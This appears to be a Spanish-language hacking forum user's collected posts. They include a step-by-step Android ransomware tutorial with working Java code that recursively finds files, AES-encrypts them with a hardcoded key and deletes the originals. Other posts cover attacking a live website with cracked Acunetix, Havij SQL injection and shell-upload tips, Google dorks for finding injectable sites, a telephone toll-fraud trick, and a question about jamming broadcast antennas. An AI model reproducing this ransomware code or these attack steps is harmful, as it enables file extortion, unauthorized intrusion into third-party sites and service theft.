Para saber la respuesta de el usuario vamos a crear nuestra propia version de la funcion onRequestPermissionsResult que es la que nos dice si el usuario nos dio los permisos o no


Código: java
@Override
    public void onRequestPermissionsResult(int requestCode,
                                           String permissions[], int[] grantResults) {
        if (requestCode == MY_PERMISSIONS_REQUEST) {
            // If request is cancelled, the result arrays are empty.
            if (grantResults.length > 0
                    && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {


                Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();


            } else {
                Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();

            }
            return;
        }


    }



Algo asi les debe estar quedando



Luego voy a crear mi funcion de encriptar(), la cual necesita una clave de parametro, es la clave con la que vamos a cifrar los archivos, tiene que ser una clave de 16 bytes de tamaño, obligatoriamente!, yo utilizare esta = tr3D0ctaOlajESzU y una direccion, esta es la ubicacion de el archivo

Código: java
public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {

        //Archivo de entrada(sin encriptar)

        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion);
       
       //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg

        FileOutputStream Salida = new FileOutputStream(extStore + "/encript_" + nombre);

        // Tamaño de la key 16 bytes!
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
     
   // Se crea el Cipher, el encargado de cifrar los streams

        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, sks);

        // stream de salida, archivo de salida
        CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
       
// Escribe bytes
        int b;
        byte[] d = new byte[8];
        while ((b = Entrada.read(d)) != -1) {
            cos.write(d, 0, b);
        }
       
      //Cierra los stream
        cos.flush();
        cos.close();
        Entrada.close();

        //Borra el archivo original
        File tmp = new File("/" + direccion);
        tmp.delete();

    }



y nuestra funcion desencriptar() , no la comentare porque hace casi lo mismo que la anterior

Código: java
public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {

        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion);

        FileOutputStream Salida = new FileOutputStream(extStore + "/decrypt_" + nombre);
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
                "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, sks);
        CipherInputStream cis = new CipherInputStream(Entrada, cipher);
        int b;
        byte[] d = new byte[8];
        while ((b = cis.read(d)) != -1) {
            Salida.write(d, 0, b);
        }
        Salida.flush();
        Salida.close();
        cis.close();

        //Borra el archivo encriptado
        File tmp = new File("/" + direccion);
        tmp.delete();

    }



Listo ya tenemos nuestras funciones encargadas de cifrar los archivos, ahora necesitamos una funcion que valla por todas las carpetas del sistema buscando los archivos a encriptar, quedaria algo asi:

Código: java
public static ArrayList<File> EncontrarArchivos(File root) {
        ArrayList<File> Archivos = new ArrayList<File>();
        File[] _archivos = root.listFiles();
        if (_archivos != null) {
            for (File lista : _archivos) {
                if (lista.isDirectory() && !lista.isHidden()) {

                    Archivos.addAll(EncontrarArchivos(lista));
                } else {

                     //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3

                    if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") ||
                  lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
                        if (lista.getTotalSpace() > 3) {

                        //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista

                            Archivos.add(lista);
                        }
                    }
                }
            }
        }
        return Archivos;
    }



Bueno basicamente ya tenemos nuestras principales funciones ya listas, ahora programaremos que al hacer click sobre el boton encriptar, ejecute nuestra funcion encriptar con los archivos que encontro en el sistema

Como ya lo habia dicho antes, despues de que comprobamos los permisos esque podemos realizar las tareas, vamos a utilizar el codigo anterior donde verificamos los permisos y habilitamos un OnClickListener para cada boton que creamos, asi este al ser oprimido ejecutara lo que le digamos, quedaria algo asi:

Código: java
    //PIDE Y COMPRUEBA PERMISOS EN EJECUCION

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {

            //Referencia botones y demas
            final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
            final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
            final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);


            Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();

            BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
                [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
                public void onClick(View view) {


                    try {

                              //Lista de archivos encontrados en el sistema

                        final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());

                        for (int i = 0; i < Archivos.size(); i++) {

                             //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
                             // revisamos si esta encriptado, (que en su nombre tenga la palabra "encript_"

                             int comprobacion = Archivos.get(i).getName().indexOf("encript_");
                            if (comprobacion != -1) {

                                desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());

                            }
                            }

                        }

                              //Excepciones necesarias para la funcion de encriptar

                    } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
                        k.printStackTrace();
                    }
                }
            });


            BotonEncriptar.setOnClickListener(new View.OnClickListener() {
                [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
                public void onClick(View view) {


                    try {


                        final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());

                        for (int i = 0; i < Archivos.size(); i++) {
                         
     //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion

                            encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());

                       


                    } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {

                        k.printStackTrace();

                    }

                }
            });

        } else {

            PedirPermisos();
        }

    }


Asi nos aseguramos a que sin los permisos necesarios nunca intentara encriptar los archivos y que nos genere errores, listo nuestro rasonware ya esta casi terminado, solo tenemos que leer la clave que nos ingresen para desencriptar o encriptar, con el EditText se la pedimos al usuario y la leemos:

Código: java
//Referenciamos nuestro objetos en pantalla

final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
            final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
            final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);



y luego la leemos:

Código: java
String clave = EntradaClave.getText().toString();


esto va dentro de el OnClickListener de el boton encriptar para que al momento de que lo presionen la lea y haga sus respectivas tareas, Listo muchachos! asi se hace un rasonware para android.

Ahora construyamos nuestra apk y vamos a instalarla en nuestro movil, aca unas fotos de su funcionamiento, voy a crear una carpeta llamada docs y dentro de ella guardare una archivo de texto, una cancion y una imagen:



Ahora ire a la aplicacion y le dare sobre el boton encriptar, veamos que pasa:

se han encriptado los archivos de mi memoria, al tratar de abrir la imagen no me deja:




Ahora volvere a la aplicacion y le dare en desenciptar:


Mis archivos vuelven a la normalidad, puedo ver mi imagen, fijensen en los nombres, quiere decir que paso por todos nuestros procesos

Ahora podemos crear otra funcion que al terminar de encriptar los archivos no envie la clave y el id del celular a nuestro servidor para que quede alli guardada, no quise meter eso en el tutorial ya que pienso que quizas lo utilizen para mal, de ese modo podrian pedir dinero para darles las clave y .....
Pero aca otra parte, porque no utilizamos esto de una buena forma? si encriptamos nuestros archivos con una clave que solo nosotros sepamos y los desencriptamos solo cuando los necesitemos? no puedo decir que tendrias 100% de privacidad pero si le dificultaria el trabajo a cualquier cracker que quiera robarle su informacion.

cuidado con esto, no es algo para jugar y si van a hacer pruebas haganlo en ambientes controlados, mientras hacia esto me toco formatear mi celular ya que todos mis archivos quedaron encriptados xd, asi que cuidado, los archivos que lee son de la memoria interna del telefono, no se porque pasa esto pero solo me reconoce los de la memoria interna, tambien cuando le opriman sobre encriptar, desencriptar esperar unos segundos hasta que el celular este normal, si minimizamos la aplicacion o la cerramos de una podria generar errores

Les dejare la aplicacion y el codigo, espero les halla gustado, yo aprendi bastante haciendolo espero ustedes tambien
Aca el codigo y la app lista para que la prueben

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No se preocupen si descargnn la app a su celular, no hara nada hasta que no opriman los botones encriptar y luego con el de desencriptar todo volvera a la normalidad, es mas bien como educativo, no corran.

Ayer murio el vocalista de Linkin Park, Chester Bennington, sus canciones me acompañaron mientras programaba y en mi dia a dia, quise hacer este tutorial en homenaje a  él, Grande Chester Bennington!!, tus fans nunca te olvidaremos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



(perdon por la ortografia no soy muy bueno con las palabras)

Un saludo y gusto en compartir!
#11
Hola compañer@s, hoy vengo a mostrarles un programita que me acabe de bajar y me ah parecido muy util a la hora de hacer pruebas de seguridad a nivel de paginas web, se trata de Acunetix, hasta ahora empiezo a mirarlo pero lo que se esque me da un analisis completo de todo el servidor de la pagina, ubicaciones dentro del servidor, cookies, peticiones get y post, ademas nos muestra su estructura interna (algo que nos servira mas adelante), tambien permite hacer injecciones sql, editar cabeceras http, sniffear y bueno en fin, se que tiene muchas mas cosas pero por ahora solo utilizaremos algunas de estas.

Antes que nada quiero mencionar que este programa es compatible con windows, asi que realizare todo el tutorial en este sistema operativo(si, si ya se pero aveces hay que acostumbrarse a usar lo que se tenga a la mano), mas que todo quiero explicar el vector de ataque, ustedes podran hacer el ataque con la herramienta que mas les guste o a mano, a lo hardcore! jaja

Aca un screenshot de el programa




Link del programa:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El programa lo encontre en internet la verdad yo solo lo comparto, les recomiendo que si quieren lo examinen con un antivirus
es facil de instalar, dentro de la carpeta estan las instruccion en ingles,les explicare brevemente
Descargan el archivo, lo descomprimen y les va a quedar una carpeta con 4 archivos adentro, hay esta el tutorial dentro de esas cosas, instalan el programa  2017_03_17_00_webvulnscan112.exe y luego se dirigen a la carpeta donde quedo instalado el programa por lo general en el disco local C: dentro de Archivos de programa/Acunetix, pegan el Activation.exe y el keygen que estan la carpeta descargada y lo pegan dentro, luego abren el icono Acunetix Web Vulnerability Scanner 10.5 que les quedo en el escritorio como administrador  y les va a salir un formulario de registro, donde dice key colocan un espacio,(asi es un espacio y ya), colocan este correo [email protected]  y este telefono 0654321234 , lo demas se deja en blanco y se la da siguiente, les saldra una o dos ventanas, le dan ok a la primera y cancel a la segunda o cancel a las dos como queiran xd y listo saldra un error y el programa abrira solo (si tienen dudas o algo mas en la carpeta estan las instrucciones en ingles)

Bueno dejando ya los aspectos tecnicos a un lado pongamonos a jugar un poco con esto, cuando tengan el programa abierto, les pedira si quieren iniciar un nuevo scan y le dan que si, siguiente y luego ponen un target, osea la pagina web que quieren y listo, empezara automaticamente a escanear toda la web, hasta el fondo!


Aca un screenshot de lo que nos muestra, su estructura como anteriormente lo dije,sus peticiones get/post ,informacion del servidor y muchas cositas mas



Bueno y aca empieza lo emocionante, podemos analizar toda esta informacion que nos muestra este programa, para poder intentar vulnerar la pagina, una vulnerabilidad que ya es conocida por muchos esque si el servidor de la web deja acceder a sus carpetas, sin filtros y sin nada, podemos ir por el servidor buscando lo que queramos, pdfs,imagenes,documentos bueno en fin todo lo que esta alli ahora es accesible, tambien se pueden utilizar su mismo codigo en contra de ellos, asi es!
Por ejemplo si encontramos el archivo .php/.json... que se encarga que subir imagenes, texto o solamente hacer peticiones al servidor, ya tenemos medio mundo ganado!, y como es el caso la pagina web que estoy examinando lo tiene, buscando entre su estructura halle el siguiente link:

http://www.xxxxxx/xxxxxx/load-styles.php?c=1

Listo, lo primero que pude notar fue que enviaba una variable con el nombre "c" por medio del metodo get, listo asi que hize mis pruebas y si!, acceptaba los parametros que yo le envie, ya se que andan un poco confundidos pero mirenlo de esta manera, si esa funcion .php que encuentran se les puede enviar parametros y este los sube al servidor, (ya se que pensaron en una shell) y si, asi podriamos subir una shell al servidor por medio de su mismo codigo, si por ejemplo encontramos un archivo llamado upload-imagen.php podriamos enviarle una shell, si no tiene filtros o son pocos, cambiandole el nombre shell.php.jpg o bueno yo se que la mayoria tiene sus tacticas, tambien podria ser si permite el envio de archivos de texto,pdf, etc.

Y como les contaba anteriormente encontre en la web un archivo .php  que me permitio enviar parametros que el servidor interpreto, para eso utilize un extencion de google chrome llamada Postman, yo se que mas de uno la ah utilizado, bueno con esta extencion enviar parametros get y post  es muy facil sin necesidad de que instalemos un servidor local y bueno ustedes ya saben, esta extension nos permite enviar String/integer,imagenes,archivos.php, archivos de texto y todo tipo de parametros, es muy facil de usar solo colocan la direccion a la que quieeren hacer la consulta  en mi caso:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Busque en informacion sobre el codigo de esta funcion que esta en el servidor, es la funcion que wordpress utiliza para subir y cambiar los estilos de la web, en este pedaso de codigo podemos ver que recibe tres variables.

Aca el codigo completo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



/*

$load = $_GET['load'];

codigo
codigo....

$compress = ( isset($_GET['c']) && $_GET['c'] );
$force_gzip = ( $compress && 'gzip' == $_GET['c'] );
$rtl = ( isset($_GET['dir']) && 'rtl' == $_GET['dir'] );



*/

una variable con el nombre "load" ,otra con el nombre "c" y la ultima de nombre "dir", si el servidor me recibe los parametros puedo cambiar cosas de la pagina sin su permiso, mas adelante seguire escribiendo acerca de como hacer esto.

Siguiendo con lo de Postman, en la izquiera escogen metodo GET , dan click en params,colocan el nombre de la variable, en mi caso "c" como se ve en el link encontrado y el valor que quiera enviarle, me devolvio 200 OK, lo que queria, me recibio el parametro.


Aca un screenshot, si es por el metodo post podrian enviar imagenes, .php lo que ya dije y tendrian por ejemplo una shell activa en el servidor





Bueno eso es una parte de lo que se podria llegar hacer, tambien podriamos utilizar las ya conocidas injecciones sql para obtener su base de datos! y pues examinando toda la informacion que me mostraba este programa di con un link que parece vulnerable:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Bueno y pues como la curiosidad mato al gato, tenia que testearlo, lo intente hacer con este programa directamente pero note que consume mucha capacidad en el equipo y es algo mas largo que hacerlo con un viejo amigo, havij (claro pueden hacerlo manualmente si quieren, ustedes saben mas que yo jaja) y bueno lo descargan, ese si no tengo el link pero en internet lo encuentran xd

Cuando tengan havij instalado pueden configurar el tipo de metodo que utilizar,parametro a enviar o dejar todo en automatico, colocan el link sospechoso y le dan Analize, y si! era vulnerable (claro yo lo probe manualmente enviando la comilla ' eso no pasa de moda) y listo lo siguiente fue obtener su base de datos (yo tambien quede como que wtf con el nombre de esa bd y sus tablas)



Listo muchach@s, conseguimos vulnerar la seguridad de la pagina web con un poco de ingenio y utilizando estas herramientas, mas que todo les quiero mostrar el vector de ataque que puede llevar a cabo en fin las herramientas son lo de menos.

Un resumen para los que ya saben de todo esto seria, hacerse con la estructura de la web, peticiones y todo su funcionamiento, buscar dentro de su servidor los archivos de programacion que utiliza esta para su funcionamiento, logar enviar nuestros parametros a esos archivos y que estos lo reciban, mirar peticiones sospechosas que se realizan por dentro de la web que nos serviria para hacer injecciones sql asi como xss si es el caso.

Esto es todo, un poco largo pero ps no podia dormir y quise compartirlo con ustedes, no lo hago para que empiezan a "juackear" cuanta web vulnerable ven por hay lo comparto para que sepan lo que se puede llegar hacer si no se ponen permisos a las carpetas del servidor, no se filtran las peticiones, no se encrypta el trafico, y para su uso personal, para cuando desarrollen sus paginas web tengan todo esto en cuenta!






Un saludo y un gusto compartir!
[/b]






#12
Hacking / Sql Injeccion con Google Dorks
Julio 10, 2017, 12:48:01 AM
Hola compañer@s, hoy vengo a compartirles algo que se que la mayoria ya sabe y que yo creia ya inutil, pero no es asi, se trata de utilizar busquedas personalizadas de google para encontrar links directos que nos lleven a un error, digamos una consulta sql que se hace mediante un id el cual llega mediante el metodo get y es visible para el usuario, ps basicamente es esto

explicare brevemente en que consiste la vulnerabilidad para los que no saben, cuando se hace la consulta nombrada anteriormente la pagina busca en su base de datos el id que obtiene por medio de la url (metodo get), el campo id que esta creado en la bd tiene como tipo integer ,  osea solo acepta tipos de id que sean numeros, pero que tal si le enviamos digamos una comilla ' , nos generara un error como este:

[SQL ERROR] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'asc' at lin

gracias a esto se pueden hacer consultas a la base de datos sin ninguna restriccion y obtener sus datos, por eso los desarrolladores web tienen que tener muy en cuenta estos casos ala hora de mandar parametros entre paginas y mas si estos no tienen filtros, asi lo evitarian, esto es algo muy viejo pero que todavia sirve, ademas tambien se pueden hacer injecciones por el metodo post.

ya con el error generado el siguiente paso seria explotar la vulnerabilidad, lo podemos hacer manualmente enviando los parametros por la url si se tiene conocimiento o hay algunos programas que automatizan este proceso como havij(windows) o sqlmap(linux).

sin tanta parla aqui les dejo el dork y algunos pantallasos de que todavia sirve
(cuidado con lo que encuentran, todo es bajo su responsabilidad)

ponen en google

inurl:php?id //tipo de pagina que quieran

inurl:php?id noticias //ejemplo








Saludos y un gusto compartir!
[/b]
#13
Hola muchach@s, soy nuevo en este foro pero quisiera compartirles una informacion que me ah servido mucho y en algunos casos me ah sacado de apuros, se trata de obtener 5 a 10 minutos gratis, de cualquier operador, es algo viejo pero todavia sirve

Primero marcamos 018000196000 y llamamos , esperamos unos segundos y nos contestara una operadora, rapidamente marcamos 57 que es el numero del pais (Colombia) y seguido el numero al que vallamos a marcar, quedaria algo asi 5731******* y listo obtendremos de 5 a 10 minutos gratis, sirve para todas las operadoras

ya lo eh probado y sirve perfectamente, creeria que para otros paises solo hace falta cambiar el codigo del pais, en vez de 57 marcamos en codigo correspondiente a su pais y seguido el numero, pruebenlo y me avisan!

Espero les sirva, saludos!

#14
Hola compañer@s, hoy vengo con una duda que tengo hace varios años, cerca a mi casa hay unas antenas, creo que son de transmision de señal de tv o radio, se algo de ondas y si puedo conseguir generar ondas a la misma frecuencia y canal por el que estan transmitiendo podria interferir la señal o cambiarla, teoricamente se puede, quiero saber donde puedo encontrar informacion sobre estas antenas? que marca son? para poder averiguar asi sus datos tecnicos y si lo que estoy planeando se puede

Tengo unas fotos de las antenas, les agradeceria cualquier informacion